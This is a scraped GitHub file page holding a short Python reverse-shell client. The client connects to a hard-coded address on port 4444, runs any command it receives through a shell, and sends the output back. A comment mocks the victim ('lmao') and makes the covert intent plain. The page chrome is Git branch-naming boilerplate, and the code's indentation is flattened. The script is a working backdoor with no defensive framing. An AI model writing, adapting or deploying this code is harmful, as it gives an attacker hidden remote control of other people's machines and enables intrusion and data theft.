Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
import os
import subprocess
import socket
s = socket.socket()
host = '192.168.163.128'
port= 4444
s.connect((host, port))
while True:
data = s.recv(1024)
if data [:2].decode("utf-8") == 'cd':
os.chdir(data [3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data [:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() +cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
#print(output_str)
#only un comment this if you want the client to see what data we are looking for lmao.
s.close()